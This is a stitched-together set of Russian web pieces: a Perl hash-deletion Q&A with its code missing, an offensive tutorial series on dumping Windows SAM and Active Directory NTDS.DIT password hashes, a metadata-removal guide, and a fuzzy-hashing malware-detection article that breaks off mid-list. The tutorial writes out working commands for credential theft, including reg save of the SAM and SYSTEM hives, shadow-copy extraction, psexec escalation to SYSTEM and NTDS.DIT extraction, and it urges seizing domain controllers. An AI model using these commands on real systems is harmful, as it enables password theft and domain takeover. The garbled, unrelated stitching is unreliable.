Как удалить хэш файла
Предположим, у меня есть два хэша. Один из них содержит набор данных, который нужен только для того, чтобы сохранить то, что отображается в другом хэше.
Что я хотел бы сделать, так это удалить весь субхэш в hash1, если он не существует как ключ / значение в hash2 , желательно без модулей. Информация, содержащаяся в "innerX", не имеет значения, ее просто нужно оставить в покое (если субхэш не должен быть удален, он может исчезнуть).
В приведенном выше примере после выполнения этой операции hash1 будет выглядеть так:
Он удаляет hash1 и hash1 , потому что они не совпадают ни с чем в hash2.
Вот то, что я сейчас пробовал, но это не работает. И это, вероятно, не самый безопасный вариант, так как я перебираю хеш, пытаясь удалить из него. Однако я удаляю на каждом, что должно быть в порядке?
Это была моя попытка сделать это, однако Perl жалуется на:
Невозможно использовать строку ("inner1") в качестве ссылки HASH, пока "строгие ссылки" используются в
Вы были близки. Помните, что $hash2 это скаляр, а не хеш-ссылка.
Строка, начинающаяся с, $delete = 0, . немного остроумна. Это эквивалентно $delete = 0; last; другому условному выражению, но оно уже было вложено дважды. Не желая строить матрешку , я использовал модификатор оператора , но, как следует из названия, он изменяет один оператор.
Binary , is the comma operator. In scalar context it evaluates its left argument, throws that value away, then evaluates its right argument and returns that value. This is just like C's comma operator.
В этом случае левый аргумент - это выражение $delete = 0 , а правый - last .
Условное выражение может показаться излишне суетливым, но
выдает предупреждения о неопределенных значениях при поиске тестов, не упомянутых в %hash2 (например, test1 / inner1). С использованием
неправильно удалял бы тест, упомянутый в, %hash2 если бы его «внутреннее имя» было ложным значением, таким как строка "0" . Да, использование exists здесь может быть излишне суетливым, но, не зная ваших фактических хэш-ключей, я выбрал консервативный путь.
Хотя вы не нарушаете его, имейте в виду следующее предостережение, связанное с использованием each :
If you add or delete elements of a hash while you're iterating over it, you may get entries skipped or duplicated, so don't. Exception: It is always safe to delete the item most recently returned by each , which means that the following code will work:
Обновление: поиск хэшей, как если бы они были массивами (поразите своих друзей-любителей CS, сказав «… линейно, а не логарифмически»), это красный флаг, и приведенный выше код делает именно это. Лучшим подходом, который оказывается похожим на ответ Пенфолда, является
В приятном декларативном стиле он описывает желаемое содержимое %hash1 , а именно
- ключи первого уровня %hash1 должны быть упомянуты в $hash2 , и
- значение, $hash2 соответствующее каждому ключу первого уровня, само должно быть подразделом этого ключа обратно в %hash1
(Вау, головокружительно. Нам нужно несколько переменных-заполнителей на английском языке!)
Унарный плюс в +($_ => $hash1) устраняет неоднозначность для плохого синтаксического анализатора, поэтому он знает, что мы хотим, чтобы выражение трактовалось как «пара». См. Конец документации perlfunc map для других случаев, когда это может быть необходимо.
В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей.
Подводим итоги по менеджеру учетных записей безопасности
В предыдущей статье из серии, я в общих словах объяснил, что такое Менеджер безопасности учетных записей (SAM) Windows, и как, получив физический или удаленный доступ к системе достать из SAM хешированные пароли локальных пользователей. При удаленном доступе существует три возможных метода получения хешей: метод, основанный на унаследованных возможностях Windows, на теневом копировании томов, и на внедрении в память процесса. Наконец, я сделал сводную электронную таблицу с описанием наиболее часто используемых утилит для дампа хешей из памяти процесса. О некоторых утилитах из этой таблице речь пойдет ниже.
И опять же я хочу повторить следующую мысль: если есть возможность перемещать файлы между вашей машиной и целевой системой, то всегда сначала копируйте файлы SAM и SYSTEM с целевой системы, а затем уже доставайте хеши паролей в оффлайн-режиме.
Тем не менее, простое копирование файлов не гарантирует, что вы получите хеши всех локальных учетных записей. Если все хеши вам получить так и не удалось, то придется слить их из памяти и объединить результаты. Странно, но с подобными случаями я сталкивался не раз, и, хочу подчеркнуть, что речь идет об автономных (не входящих в домен) рабочих станциях Windows.
Рекомендуемые инструменты
Лично я первое место отдаю утилите pwdump7. Утилита работает на всех версиях Windows (как 32-х, так и 64-разрядных), начиная с Windows 2000 и выше. Тем не менее, pwdump7 не может сливать хешированные пароли из памяти, и поэтому некоторые хеши вы можете так и не получить. Для того чтобы ничего не упустить, я всегда использую pwdump7 совместно с gsecdump.
Когда на целевой системе мне удалось запустить Metasploit Meterpreter, я пользуюсь пост-эксплойтом smart_hashdump Карлоса Переза (Carlos Perez). Если же smart_hashdump не срабатывает, то я прибегаю к его предыдущей версии – пост-эксплойту hashdump.
Active Directory
Active Directory выступает в роли централизованного хранилища, служащего для управления сетью и безопасностью. В функции службы каталогов входит аутентификация и авторизация всех пользователей внутри домена Windows, создание и выполнение политик безопасности […] Когда пользователь регистрируется в системе на компьютере, входящем в домен, то именно Active Directory проверяет пароль пользователя […]
Информация из определения пригодится вам, после компрометации какой-либо системы из домена Windows. Для того чтобы быстро взять под контроль весь домен, вам нужно получить доступ к корневому контроллеру домена. Если же вы находитесь в домене-потомке, то ваша цель – получить доступ к контроллеру корневого домена леса с правами Администратора предприятия.
Также существует вероятность, что администратор использует одни и тот же пароль локального администратора на всех машинах домена. В подобном случае, вам достаточно с помощью keimpx узнать пароль всего на одной машине, и контроллер у вас в руках!
Неважно, каким именно способом вы получили доступ к контроллеру домена (в идеале, подключились к корневому контроллеру домена, так как именно на нем в первую очередь отражаются изменения учетных записей пользователей), самое главное: запустить на контроллере командную строку с правами администратора (локального или доменного).
Файл базы данных NTDS.DIT
Наша цель теперь: получить хешированные пароли доменных пользователей. Пароли, как и практически вся другая информация Active Directory (пользовательские объекты, группы, информация о принадлежности к группам и.т.д.) хранится в бинарном файле %SystemRoot%\ntds\NTDS.DIT.
Файл NTDS.DIT заблокирован системой. Для получения этого файла вместе с файлом SYSTEM воспользуйтесь службой теневого копирования томов, как описывалось в предыдущей статье.
Как вариант, используйте функцию создания снимка утилитой ntdsutil, впервые такая функция была представлена в Windows Server 2008. Утилита сделает мгновенный снимок базы данных Active Directory, что позволит вам скопировать ntds.dit и файл SYSTEM. О том, как сделать снимок, написано в статье Microsoft TechNet.
Извлечение хешей из NTDS.DIT
Также для извлечения хешей подойдет пакет (ntds_dump_hash.zip), разработанный Ксаба Бартой (Csaba Barta). Функции пакета описаны в статье “Исследование получения хеша паролей в оффлайн-режиме и анализ ntds.dat”. ntds_dump_hash.zip позволяет:
- извлечь необходимые таблицы из ntds.dit: esedbdumphash
- получить хеши и дополнительные сведения об учетных записях пользователей: dsdump.py, dsdumphistory.py, dsuserinfo.py.
Скачайте и скомпилируйте пакет:
Воспользуйтесь esedbdumphash, чтобы извлечь таблицу datatable из ntds.dit:
$ cd esedbtools
$ ./esedbdumphash -v -t /tmp/output
$ ls -1 /tmp/output.export/
datatable
Используйте dsdump.py, чтобы получить хеши из таблицы datatable с помощью bootkey (SYSKEY) из куста SYSTEM:
$ cd ../../creddump/
$ chmod +x *.py
$ ./dsuserinfo.py /tmp/output.export/datatable
$ ./dsdump.py /tmp/output.export/datatable --include-locked
--include-disabled > domain_hashes.txt
Как и в случае с автономными рабочими станциями, вы точно так же, используя те же методы, можете слить пароли доменных пользователей, внедрившись в память процесса. Но будьте осторожны при манипуляциях с процессом LSASS на контроллере домена: в худшем случае вам придется перезагружать критически важный сервер.
Информацию обо всех описанных в этой статье утилитах я добавил в электронную таблицу.
Изменения на 4 января 2012г.
В декабре 2011 года, Ксаба Барта изучил структуру NTDS.DIT более подробно, и в результате разработал новый фреймворк под названием NTDSXtract. Фреймворк совместно с утилитой libesedb позволяет извлечь информацию из таблиц базы данных ntds.dit. NTDSXtract и libesedb корректно работают на 64х-разрядных системах.
Скачайте и установите последнюю версию libesedb.
Извлеките таблицы из ntds.dit:
$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit
esedbexport 20111210
Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.
$ ls -1 /tmp/ntds.dit.export/
datatable.3
hiddentable.4
link_table.5
[. ]
С помощью NTDSXtract извлеките из таблицы datatable хешированные пароли и историю паролей:
~/NTDSXtract 1.0$ python dsusers.py /tmp/ntds.dit.export/datatable.3
/tmp/ntds.dit.export/link_table.5 --passwordhashes --
passwordhistory --certificates --supplcreds
Используйте этот небольшой скрипт, чтобы преобразовать результаты работы dsusers.py к более привычному виду, подобному тому, который вы увидите после работы pwdump:
$ python ntdstopwdump.py /tmp/ntds.dit.output
Administrator:500:NO
PASSWORD*********************:09b1708f0ea4832b6d87b0ce07d7764b.
Guest:501:NO PASSWORD*********************:NO
PASSWORD*********************.
[. ]
Один хакер может причинить столько же вреда, сколько 10 000 солдат! Подпишись на наш Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!
Менеджер учетных записей безопасности (Security Accounts Manager - SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7.
Слегка измененное определение из Википедии:
Менеджер учетных записей безопасности (Security Accounts Manager - SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7. В SAM хранятся хешированные пароли пользователей (в формате LM-хеш или NTLM-хеш). Благодаря тому, что хеш-функция однонаправленная, пароли находятся в относительной безопасности.
Вообще, получение хеша паролей пользователей операционной системы, как правило, один из первых шагов, ведущий к компрометации системы в дальнейшем. Доступ к хешированным паролям дает “зеленый свет” различным атакам, к примеру: использование хеша для SMB-аутентификации в других системах с тем же паролем, анализ парольной политики и распознавание структуры пароля, взлом пароля и.т.п.
Способов получения хешированных паролей из SAM множество, и выбор конкретного способа будет зависеть от того, каким именно доступом к компьютеру жертвы вы обладаете.
Физический доступ
- bkhive - получает syskey bootkey из куста системы
- samdump2 – получает хеши паролей в Windows 2k/NT/XP/Vista
Вышеназванные утилиты, как правило, поставляются со многими дистрибутивами GNU/Linux. Перед получением дампа хешей убедитесь, что вы располагаете этими утилитами.
bkhive systemhive keyfile
Пример получения хешей SAM из Windows-раздела /dev/sda1:
Если же bkhive и samdump2 у вас нет, то можно скопировать SYSTEM и SAM файлы из /mnt/sda1/Windows/System32/config себе на флешку, а затем импортировать файлы с флешки в любую утилиту, позволяющую извлечь хеши SAM: например, Cain & Abel, creddump,mimikatz и.т.п.
Обход приглашения на ввод пароля
- BootRoot – проект, представленный на конференции Black Hat USA 2005 исследователями Дереком Сёдером (Derek Soeder) и Райаном Пермехом (Ryan Permeh). С помощью технологии BootRoot можно в стандартном загрузочном секторе выполнить код, который во время загрузки уронит ядро Windows. eEye BootRootKit – это NDIS бэкдор, который работает по типу boot-вируса и демонстрирует использование технологии BootRoot.
- SysRQ2 – загрузочный CD-образ, позволяющий пользователю в любое время после загрузки нажатием клавиш Ctrl-Shift-SysRq вызвать командную строку с полными привилегиями (привилегии SYSTEM). SysRQ2 работает на системах Windows 2000, Windows XP и Windows Server 2003. SysRQ2 впервые был продемонстрирован на конференции Black Hat USA 2005 исследователями Дереком Сёдером и Райаном Пермехом в качестве примера использования технологии eEye BootRootKit. Для создания диска с SysRq выберите опцию “создать CD из ISO-образа” в предпочтительном ПО для прожига дисков.
- Kon-Boot – прототип программы, благодаря которой на лету (во время загрузки) можно менять содержимое ядра Linux или Windows. В текущей сборке Kon-Boot позволяет войти в linux-систему под root’ом без ввода пароля или повысить привилегии текущего пользователя до root’а. В случае с Windows-системами с помощью Kon-Boot можно войти в любой защищенный паролем профиль без знания самого пароля.
Сброс пароля
Как вариант, можно загрузиться с live CD или флешки с bootdisk, и с помощью утилиты chntpw сбросить пароль любого локального пользователя Windows.
Использование пост-эксплойтов
В этой ситуации, как правило, система уже скомпрометирована, и вы получили доступ к командной строке с административными правами. Далее нужно повысить свои привилегии до пользователя SYSTEM. Например, с помощью утилиты PsExec из пакета SysInternals:
C:\>psexec.exe -i -s cmd.exe
Есть и другие способы повышения привилегии, но их описание останется вне рамок этого поста.
Методы, основанные на унаследованных возможностях Windows
В системах Windows NT и Windows 2000 можно воспользоваться утилитой Ntbackup из подсистемы MS-DOS: сохраните бэкап состояния системы в локальном файле на скомпрометированной машине, а затем снова используйте Ntbackup и восстановите состояние системы в локальном каталоге без сохранения настроек безопасности. По окончании описанной процедуры вы будете обладать файлами SAM и SYSTEM. Первоначальный бэкап Windows 2000 c последними пакетами обновлений и исправлений занимает около 280МБ. Для более современных версий Windows вместо Ntbackup подойдет утилита Wbadmin.
Также стоит упомянуть утилиту regback.exe из пакета Windows 2000 Resource Kit Tools. Утилита слегка упрощает процесс, так как сливаются только нужные файлы:
C:\>regback.exe C:\backtemp\SAM machine sam
C:\>regback.exe C:\backtemp\SYSTEM machine system
Если regback.exe не срабатывает, то на системах Windows XP и выше можно воспользоваться утилитами regedit.exe и reg.exe:
Использование reg.exe:
C:\>reg.exe save HKLM\SAM sam
The operation completed successfully
C:\>reg.exe save HKLM\SYSTEM sys
The operation completed successfully
Использование regedit.exe:
- Выполнить regedit.exe в Start/Run.
- Открыть ветку Computer\HKEY_LOCAL_MACHINE, правой кнопкой мыши щелкнуть по секции SAM и выбрать “Export” (“Экспортировать”).
- Установить значение параметра “Save as type” (“Тип файла”) в “Registry Hive Files” (“Файлы кустов реестра”).
- Проделать то же самое для куста SYSTEM.
И, наконец, еще один способ: файлы SAM и SYSTEM можно достать из каталога C:\Windows\repair. Но существует вероятность, что в каталоге содержаться устаревшие копии нужных файлов, информация о пользователях в которых неактуальна.
Метод, использующий теневое копирование томов
Метод стал известен относительно недавно, и впервые его использование продемонстрировал Тим Томс (Tim Tomes). Метод эксплуатирует функционал теневого копирования томов в современных операционных системах Windows для того, чтобы получить доступ к заблокированным ранее системным файлам, таким как файлы SAM и SYSTEM в каталоге C:\Windows\System32\config.
Для выполнения метода, вы можете воспользоваться cкриптом vssown, который дает возможность управлять теневым копированием.
Список теневых копий:
C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
Как и ожидалось, сначала никаких теневых копий нет.
Проверим статус службы теневого копирования (VSS):
C:\>cscript vssown.vbs /status
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
C:\>cscript vssown.vbs /mode
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] VSS service set to 'Manual' start mode.
Если тип запуска службы “Вручную”, то нам нужно установить тип запуска в первоначальное состояние (“Остановлена”).
Создадим теневую копию:
C:\>cscript vssown.vbs /create
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Attempting to create a shadow copy.
Проверим, что теневая копия создалась:
C:\>cscript vssown.vbs /list
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] ID:
[*] Client accessible: True
[*] Count: 1
[*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[*] Differnetial: True
[*] Exposed locally: False
[*] Exposed name:
[*] Exposed remotely: False
[*] Hardware assisted: False
[*] Imported: False
[*] No auto release: True
[*] Not surfaced: False
[*] No writers: True
[*] Originating machine: LAPTOP
[*] Persistent: True
[*] Plex: False
[*] Provider ID:
[*] Service machine: LAPTOP
[*] Set ID:
[*] State: 12
[*] Transportable: False
[*] Volume name: \\?\Volume\
Обратите внимание на значение параметров Deviceobject и ID. Значение первого параметра понадобиться для осуществления следующего шага, а значение второго – для очистки.
Достанем следующие файлы из теневой копии:
C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
Таким образом, мы только что скопировали файлы SAM и SYSTEM из теневой копии в папку C:\root.
C:\>cscript vssown.vbs /delete
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Attempting to delete shadow copy with ID:
И, наконец, остановим службу теневого копирования:
C:\>cscript vssown.vbs /stop
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Signal sent to stop the VSS service.
Методы, основанные на внедрении в память процессов
В основе подобных методов получения SAM-хешей из памяти лежит внедрение DLL в системный процесс LSASS, или, в общем случае, разбиение памяти на отдельные участки и изучение содержимого полученных участков. Манипуляции с памятью могут привести к падению процесса LSASS и Синему Экрану Смерти (BSoD), поэтому предпочтительнее использовать методы, основанные на копировании кустов реестра (regback.exe и reg.exe\regedit.exe), либо теневое копирование томов. Тем не менее, в некоторых особых случаях внедрение в память все-таки требуется.
Наиболее известным инструментом для получения хешей SAM, вероятно, является утилита fgdump – улучшенная версия pwdump6; обе утилиты разработаны командой foofus. Основное преимущество fgdump над pwdump заключается в возможности работать на системах Windows Vista и выше. Хотя пару раз я видел, как падали обе утилиты. Среди более стабильных и надежных инструментов можно выделить pwdump7 от Андреса Тараско (Andres Tarasco) и gsecdump от TrueSec. Обе утилиты работают на всех версиях Windows, как 32- так и 64-битных. Нужно отметить, что с контроллеров домена слить хеши паролей с помощью утилиты pwdump7 не получится, так как эта утилита вместо внедрения в LSASS читает хеши SAM из реестра. Еще одна надежная и популярная утилита – это PWDumpX, разработанная Ридом Арвином (Reed Arvin), хотя работает PWDumpX только на 32х разрядных системах.
Ниже на скриншоте показан дамп информации из SAM, полученной утилитой gsecdump на Windows Server 2003 SP2 32-bit:
Дамп информации о локальных пользователях после внедрения кода в процесс LSASS
В Metasploit Framework также имеются собственные модули пост-эксплойта, встроенные команды и скрипты для Meterpreter, позволяющие получить хеши SAM. Подробнее о работе кода и о том, какие идеи лежат в его основе можно прочитать в этих постах.
Разумеется, существует и множество других инструментов и методов, и важно знать, какой именно метод подходит для конкретной системы. Чтобы облегчить выбор, я создал сводную электронную таблицу, в которой перечислены нужные утилиты, их возможности и принципы работы, и, что самое важное, возможные проблемы при использовании таких утилит.
Изменения на 4 января 2012 г.
- Дэвид Мэлони (David Maloney) добавил в Metasploit Frameworkмодули, позволяющие работать с процессом теневого копирования томов.
- TrueSec обновил gsecdump до версии v.2.0b5. Последняя версия стабильно работает на всех версиях Windows (как на 32х-, так и на 64х-разрядных).
Один хакер может причинить столько же вреда, сколько 10 000 солдат! Подпишись на наш Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!
Метаданные как концепция существуют с середины 20 века. Однако, в последнее время их важность значительно возросла.
Возможно, вы слышали об опасности распространения ваших метаданных в Интернете. Давайте разберемся, как удалить метаданные из файлов.
Что такое метаданные?
Метаданные - это данные, содержащие информацию о другом наборе данных, часто гораздо большем. Метаданные редко содержат части файла. Обычно в них представлена краткая техническая и архивная информация о содержимом файла.
Метаданные содержатся в каждом используемом вами файле: от селфи, которые вы делаете, до документов Word и видео в формате mp4. И хотя вы можете вручную добавлять или редактировать метаданные для большинства файлов, большая часть метаданных добавляется автоматически. Метаданные создаются в результате совместной работы вашего устройства и приложения, используемого для создания указанного файла.
Метаданные - не просто бесполезная информация. Ваше устройство, а также веб-сайт или облако, используют загруженные метаданные для сортировки, фильтрации и лучшего архивирования файлов. Метаданные могут многое о вас рассказать и раскрыть конфиденциальную информацию.
Удалить метаданные перед отправкой или загрузкой файлов достаточно легко. Однако, данная процедура занимает много времени. К счастью, существует бесчисленное множество приложений, веб-сайтов и программного обеспечения, которые позволяют сделать это одним нажатием кнопки.
Онлайн-инструменты
Веб-сайты и онлайн-инструменты - отличный вариант, если у вас нет времени. Не нужно ничего скачивать и устанавливать. Вы просто загружаете свой файл, нажимаете на кнопку и загружаете его без метаданных.
MetaClean
MetaClean - бесплатный онлайн-инструмент от adarsus, испанской компании, занимающейся информационными технологиями и кибербезопасностью. MetaClean можно использовать для просмотра и удаления всех метаданных из файлов различных форматов. Он работает с изображениями, видео, файлами PDF и Docx, а также с mp3-треками и многими другими.
Ограничение на размер загружаемого файла составляет 5 МБ.
PDFYeah
Ограничение размера в 5 МБ неудобно, если требуется удалить метаданные из файлов гораздо большего размера, что характерно для многих PDF-файлов. Не имеет значения с какой целью вы отправляете или получаете PDF файлы – для развлечения, учебы или работы. Следы, оставленные вами в файле, лучше удалить.
PDFYeah - бесплатное онлайн-решение "все в одном" для PDF файлов. В инструменте PDFYeah имеется специальная программа для удаления метаданных PDF-файлов. Причем в отличие от MetaClean, данный инструмент имеет максимум 50 МБ. PDFYeah позволяет работать с большими файлами без ущерба для вашей конфиденциальности.
MetaCleaner
MetaCleaner - комплексный и профессиональный онлайн-инструмент для удаления метаданных. MetaCleaner позволяет удалять метаданные из более чем 40 различных форматов файлов прямо на веб-сайтах. MetaCleaner предоставляет зашифрованную связь , гарантирует конфиденциальность, а также соответствие GDPR.
Используя бесплатную учетную запись, вы можете очищать до 20 файлов в день. К сожалению, для бесплатного предложения ограничение на размер файла составляет 5 МБ. Увеличить данный лимит возможно, получив платную учетную запись (стоимость от 5,95 долларов США.)
Настольные приложения
Онлайн-инструменты отлично подходят для быстрого решения проблемы. Однако, они неудобны, если требуется многократная загрузка и скачивание файлов. Например, если необходимо регулярно очищать большие файлы от метаданных.
Метаданные ++
Meatdata ++ - программное обеспечение, созданное Logipole для редактирования и удаления метаданных из файлов. Хотя Metadata ++ не является ПО с открытым исходным кодом, продукт классифицируется как бесплатное программное обеспечение. Пользователям бесплатно предоставляется полный доступ ко всем функциям продукта.
Metadata ++ можно использовать для редактирования и удаления метаданных и любой личной информации из изображений, аудиофайлов, видеофайлов и текстовых файлов в различных форматах. Кроме удобства работы с Windows, продукт позволяет массово редактировать файлы большого объема без необходимости выбирать их по отдельности.
Метаданные Touch
Metadata Touch – профессиональный инструмент, поддерживающий более 30 форматов файлов, от файлов Microsoft Office и OpenDocument до различных форматов изображений, аудио и видео, включая масштабируемые векторы и сжатые аудиофайлы.
Metadata Touch прекрасно подходит для массового редактирования или удаления метаданных. С его помощью можно настроить различные форматы и поля метаданных файла в соответствии с вашими потребностями. Metadata Touch работает только под Windows и поддерживает системы вплоть до Windows XP и 2003 Service Pack.
Удалите метаданные самостоятельно
Если для ваших задач не требуется специальное программное обеспечение для редактирования или удаления метаданных, вы можете отредактировать файл самостоятельно.
Не нужно быть технически подкованным, чтобы удалить метаданные с фотографий и защитить свою конфиденциальность в Интернете.
Мобильные приложения
Онлайн-инструменты и программное обеспечение могут стать отличным вариантом при использовании настольного устройства. Однако, что делать с загрузкой только что сделанных селфи и фотографий. Нужно ли ждать, когда вы удалите метаданные на своем настольном устройстве?
К счастью, есть мобильные приложения для удаления и редактирования метаданных. Вы можете установить их прямо на смартфон или планшет.
Зашифрованный EXIF
Scrambled EXIF - приложение для Android с открытым исходным кодом, используемое для удаления EXIF- метаданных из изображений. Небольшое и минималистичное приложение позволяет одновременно удалять метаданные с нескольких изображений.
Также можно получить доступ к настройкам приложения и контролировать тип данных и метаданных, которые может изменять приложение. Например, вы можете заставить приложение автоматически переименовывать ваши изображения, поскольку изображения ролей камеры часто содержат дату и время.
EXIFTool
EXIFTool - еще одно приложение для Android с открытым исходным кодом, удаляющее метаданные из различных файлов. По сравнению со Scrambled EXIF, EXIFTool не позволяет выполнять массовое удаление метаданных. Но EXIFTool можно использовать с более широким спектром форматов файлов, от изображений, аудиофайлов и видеофайлов до текстовых документов, таких как PDF и Docx.
Вместо простого удаления метаданных EXIFTool позволяет редактировать их прямо на смартфоне или планшете. Хотя процесс выполняется вручную, результат получается более настраиваемый. Вы будете отправлять другим людям или в открытый Интернет только одобренные файлы.
Удаление метаданных должно стать привычкой
Поначалу удаление метаданных из файлов перед отправкой в Интернет или с друзьям может показаться утомительным. Используя эффективные инструменты и приложения для экономии времени, можно выработать привычку очищать метаданные перед публикацией в Интернете. Требуется лишь найти подходящие инструменты и мотивацию для защиты свой конфиденциальности в Интернете.
Один хакер может причинить столько же вреда, сколько 10 000 солдат! Подпишись на наш Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!
Создатели вредоносных программ используют массу разных методов, чтобы скрыть свои творения от антивирусных средств и статических-динамических анализаторов. Однако и антивирусы не лыком шиты: для поиска «родственных» семплов они используют продвинутые алгоритмы хеширования. Сегодня мы расскажем, как работают эти алгоритмы, — с подробностями и наглядными примерами.
На практике в большинстве случаев существующая база или ядро вредоноса повторно используется для создания новой разновидности малвари. Вирусописатели особо не заморачиваются с затратной по времени разработкой новых «качественных» вирусов, а просто используют имеющиеся образцы.
Этот повторно используемый код может быть собран заново с помощью другого компилятора, из него могут быть удалены или, наоборот, в него могут быть добавлены новые функции. Обновляются некоторые библиотеки, меняется распределение кода внутри файла (при этом применяются новые компоновщики, пакеры, обфускация и так далее). Смысл таких преобразований — придать хорошо знакомой антивирусу вредоносной программе новый вид. В этом случае видоизмененная версия вируса какое-то время останется необнаруженной. Тем не менее существуют способы детектирования такого рода переупаковок и модификаций.
Эти техники обнаружения зачастую используются для анализа большого массива данных и поиска в нем общих элементов. Практическими примерами использования похожих техник могут быть глобально распределенные базы знаний, такие как Virus Total и базы антивирусных компаний, а также подходы Threat Intelligence.
Хеш «четкий»
Ханс Петер Лун из IBM еще в 1940-е разрабатывал системы для анализа информации, в том числе исследовал вопросы хранения, передачи и поиска текстовых данных. Это привело его к созданию алгоритмов преобразования, а затем и к хешированию информации в качестве способа поиска телефонных номеров и текста. Так индексация и концепция «разделяй и властвуй» сделали свои первые шаги в области вычислительной техники.
Сейчас существует множество алгоритмов хеширования, отличающихся криптостойкостью, скоростью вычисления, разрядностью и другими характеристиками.
Мы привыкли ассоциировать хеш-функции с криптографическими хеш-функциями. Это распространенный инструмент, который используется для решения целого ряда задач, таких как:
- аутентификация;
- электронная подпись;
- обнаружение вредоносного ПО (как файлов, так и их маркеров компрометации).
В сегодняшней статье речь пойдет о том, как различные алгоритмы хеширования помогают нам бороться с зловредным ПО.
Что такое хеш
Криптографическая хеш-функция, чаще называемая просто хешем, — это математическое преобразование, переводящее произвольный входной массив данных в состоящую из букв и цифр строку фиксированной длины. Хеш считается криптостойким, если справедливо следующее:
- по хешу нельзя восстановить исходные данные;
- выполняется устойчивость к коллизиям, то есть невозможно получить из различных входных последовательностей одинаковые хеши.
MD5, SHA-1 и SHA-256 — наиболее популярные криптографические алгоритмы вычисления хеша, которые часто используются в детектировании вредоносного ПО. Еще совсем недавно вредонос опознавали только по сигнатуре (хешу) исполняемого файла.
Но в современных реалиях недостаточно знать просто хеш объекта, так как это слабый индикатор компрометации (IoC). IoC — это все артефакты, на основе которых может быть выявлен вредонос. Например, используемые им ветки реестра, подгружаемые библиотеки, IP-адреса, байтовые последовательности, версии ПО, триггеры даты и времени, задействованные порты, URL.
Рассмотрим «пирамиду боли» для атакующего, придуманную аналитиком в области информационной безопасности Дэвидом Бьянко. Она описывает уровни сложности индикаторов компрометации, которые злоумышленники используют при атаках. Например, если ты знаешь MD5-хеш вредоносного файла, его можно довольно легко и при этом точно обнаружить в системе. Однако это принесет очень мало боли атакующему — достаточно добавить один бит информации к файлу вредоноса, и хеш изменится. Таким образом вирус может переселяться бесконечно, и каждая новая его копия будет иметь отличный от других экземпляров хеш.
«Пирамида боли» Дэвида Бьянко
Если ты имеешь дело с множеством вредоносных образцов, становится понятно, что большинство из них по сути своей не уникальны. Злоумышленники нередко заимствуют или покупают исходники друг у друга и используют их в своих программах. Очень часто после появления в паблике исходных кодов какого-либо вредоносного ПО в интернете всплывают многочисленные поделки, состряпанные из доступных фрагментов.
Как же определить схожесть между разными образцами малвари одного семейства?
Для поиска такого сходства существуют специальные алгоритмы подсчета хеша, например нечеткое (fuzzy) хеширование и хеш импортируемых библиотек (imphash). Эти два подхода используют разные методы обнаружения для поиска повторно встречающихся фрагментов вредоносных программ, принадлежащих к определенным семействам. Рассмотрим эти два метода подробнее.
«Нечеткий» хеш — SSDeep
Если в криптографических хеш-функциях суть алгоритма состоит в том, что при малейшем изменении входных данных (даже одного бита информации) их хеш также значительно изменяется, то в нечетких хешах результат меняется незначительно или не изменяется вовсе. То есть нечеткие хеши более устойчивы к небольшим изменениям в файле. Поэтому подобные функции позволяют намного более эффективно обнаруживать новые модификации вредоносного ПО и не требуют больших ресурсов для расчета.
Нечеткое хеширование — это метод, при котором программа, такая как, например, SSDeep, вычисляет кусочные хеши от входных данных, то есть использует так называемое контекстно вызываемое кусочное хеширование. В англоязычных источниках этот метод называется context triggered piecewise hashing (CTPH aka fuzzy hashing).
На самом деле классификаций нечетких хешей довольно много. Например, по механизму работы алгоритмы делятся на piecewise hashing, context triggered piecewise hashing, statistically improbable features, block-based rebuilding. По типу обрабатываемой информации их можно разделить на побайтовые, синтаксические и семантические. Но если речь заходит о нечетких хешах, то это, как правило, CTPH.
Алгоритм SSDeep разработан Джесси Корнблюмом для использования в компьютерной криминалистике и основан на алгоритме spamsum. SSDeep вычисляет несколько традиционных криптографических хешей фиксированного размера для отдельных сегментов файла и тем самым позволяет обнаруживать похожие объекты. В алгоритме SSDeep используется механизм скользящего окна rolling hash. Его еще можно назвать рекурсивным кусочным хешированием.
Часто CTPH-подобные хеши лежат в основе алгоритмов локально чувствительных хешей — locality-sensitive hashing (LSH). В их задачи входит поиск ближайших соседей — approximate nearest neighbor (ANN), или, проще говоря, похожих объектов, но с чуть более высокоуровневой абстракцией. Алгоритмы LSH используются не только в борьбе с вредоносным ПО, но и в мультимедиа, при поиске дубликатов, поиске схожих генов в биологии и много где еще.
Алгоритм SSDeep
Как работает SSDeep? На первый взгляд, все довольно просто:
- он разделяет файл на более мелкие части и изучает их, а не файл в целом;
